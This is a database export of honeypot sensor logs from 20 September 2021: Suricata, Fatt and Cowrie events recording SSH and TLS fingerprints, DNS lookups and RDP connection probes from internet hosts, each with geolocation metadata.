"payload_printable": ".......}..=b^..=.....n...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31065	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:34.242008+03	2021-09-20 14:45:03.997173+03	{"_id": "YQYCA3wBvYTbRNuE60Er", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57546, "timestamp": "2021-09-20T11:41:34.242008", "@timestamp": "2021-09-20T11:41:34.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31066	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:41:39.33442+03	2021-09-20 14:45:03.998141+03	{"_id": "awYCA3wBvYTbRNuE_UHF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28675, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 147, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1041516473816181, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40204, "timestamp": "2021-09-20T11:41:39.334420Z", "@timestamp": "2021-09-20T11:41:39.334Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31067	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:41:39.720017+03	2021-09-20 14:45:04.000165+03	{"_id": "bgYCA3wBvYTbRNuE_UHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 2124, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 147, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 424993245885973, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 41072, "timestamp": "2021-09-20T11:41:39.720017Z", "@timestamp": "2021-09-20T11:41:39.720Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31068	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:39.384836+03	2021-09-20 14:45:04.001171+03	{"_id": "bwYCA3wBvYTbRNuE_kG0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35536, "dest_port": 443, "timestamp": "2021-09-20T11:41:39.384836", "@timestamp": "2021-09-20T11:41:39.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31069	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:41:39.4251+03	2021-09-20 14:45:04.002172+03	{"_id": "cAYCA3wBvYTbRNuE_kG1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35536, "timestamp": "2021-09-20T11:41:39.425100", "@timestamp": "2021-09-20T11:41:39.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31070	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:39.769862+03	2021-09-20 14:45:04.00317+03	{"_id": "cQYCA3wBvYTbRNuE_kG1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35538, "dest_port": 443, "timestamp": "2021-09-20T11:41:39.769862", "@timestamp": "2021-09-20T11:41:39.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31071	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:41:39.809717+03	2021-09-20 14:45:04.005143+03	{"_id": "cgYCA3wBvYTbRNuE_kG1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35538, "timestamp": "2021-09-20T11:41:39.809717", "@timestamp": "2021-09-20T11:41:39.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31082	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:41:39.332917+03	2021-09-20 14:45:04.019143+03	{"_id": "bAYCA3wBvYTbRNuE_UHF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28675, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1041516473816181, "@version": "1", "in_iface": "enp5s0", "src_port": 40204, "dest_port": 53, "timestamp": "2021-09-20T11:41:39.332917Z", "@timestamp": "2021-09-20T11:41:39.332Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31072	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:41:24.00051+03	2021-09-20 14:45:04.006172+03	{"_id": "SgYCA3wBvYTbRNuEx0EP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:23.416317+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 67454393342525, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 8187, "timestamp": "2021-09-20T11:41:24.000510Z", "@timestamp": "2021-09-20T11:41:24.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31073	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:41:25.754744+03	2021-09-20 14:45:04.007172+03	{"_id": "SwYCA3wBvYTbRNuEx0EP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:25.403618+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1225068342749346, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55619, "dest_port": 3389, "timestamp": "2021-09-20T11:41:25.754744Z", "@timestamp": "2021-09-20T11:41:25.754Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31074	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:41:25.754744+03	2021-09-20 14:45:04.008172+03	{"_id": "TAYCA3wBvYTbRNuEx0EP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:25.403618+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1225068342749346, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55619, "dest_port": 3389, "timestamp": "2021-09-20T11:41:25.754744Z", "@timestamp": "2021-09-20T11:41:25.754Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31075	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:41:26.054819+03	2021-09-20 14:45:04.010173+03	{"_id": "TQYCA3wBvYTbRNuEx0EP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:25.403618+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1225068342749346, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 55619, "timestamp": "2021-09-20T11:41:26.054819Z", "@timestamp": "2021-09-20T11:41:26.054Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31076	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:41:25.754744+03	2021-09-20 14:45:04.011173+03	{"_id": "TgYCA3wBvYTbRNuEx0H_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 55619, "dest_port": 3389, "timestamp": "2021-09-20T11:41:25.754744", "@timestamp": "2021-09-20T11:41:25.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
31077	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:41:26.406216+03	2021-09-20 14:45:04.012174+03	{"_id": "UQYCA3wBvYTbRNuEykH5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:25.403618+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1225068342749346, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55619, "dest_port": 3389, "timestamp": "2021-09-20T11:41:26.406216Z", "@timestamp": "2021-09-20T11:41:26.406Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31078	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:42.855832+03	2021-09-20 14:45:04.014141+03	{"_id": "eQYDA3wBvYTbRNuECkFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60606, "timestamp": "2021-09-20T11:41:42.855832", "@timestamp": "2021-09-20T11:41:42.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31079	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:41:26.406216+03	2021-09-20 14:45:04.015142+03	{"_id": "UgYCA3wBvYTbRNuEykH5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:25.403618+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1225068342749346, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55619, "dest_port": 3389, "timestamp": "2021-09-20T11:41:26.406216Z", "@timestamp": "2021-09-20T11:41:26.406Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31080	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:41:36.734135+03	2021-09-20 14:45:04.017143+03	{"_id": "ZAYCA3wBvYTbRNuE9EE3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "913165b39ba4", "@version": "1", "duration": 2.49432635307312, "timestamp": "2021-09-20T11:41:36.734135Z", "@timestamp": "2021-09-20T11:41:36.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31081	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:41:39.718357+03	2021-09-20 14:45:04.018173+03	{"_id": "bQYCA3wBvYTbRNuE_UHF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 2124, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 424993245885973, "@version": "1", "in_iface": "enp5s0", "src_port": 41072, "dest_port": 53, "timestamp": "2021-09-20T11:41:39.718357Z", "@timestamp": "2021-09-20T11:41:39.718Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31084	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:42:12.50844+03	2021-09-20 14:45:04.022142+03	{"_id": "tAYDA3wBvYTbRNuEfEH9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", 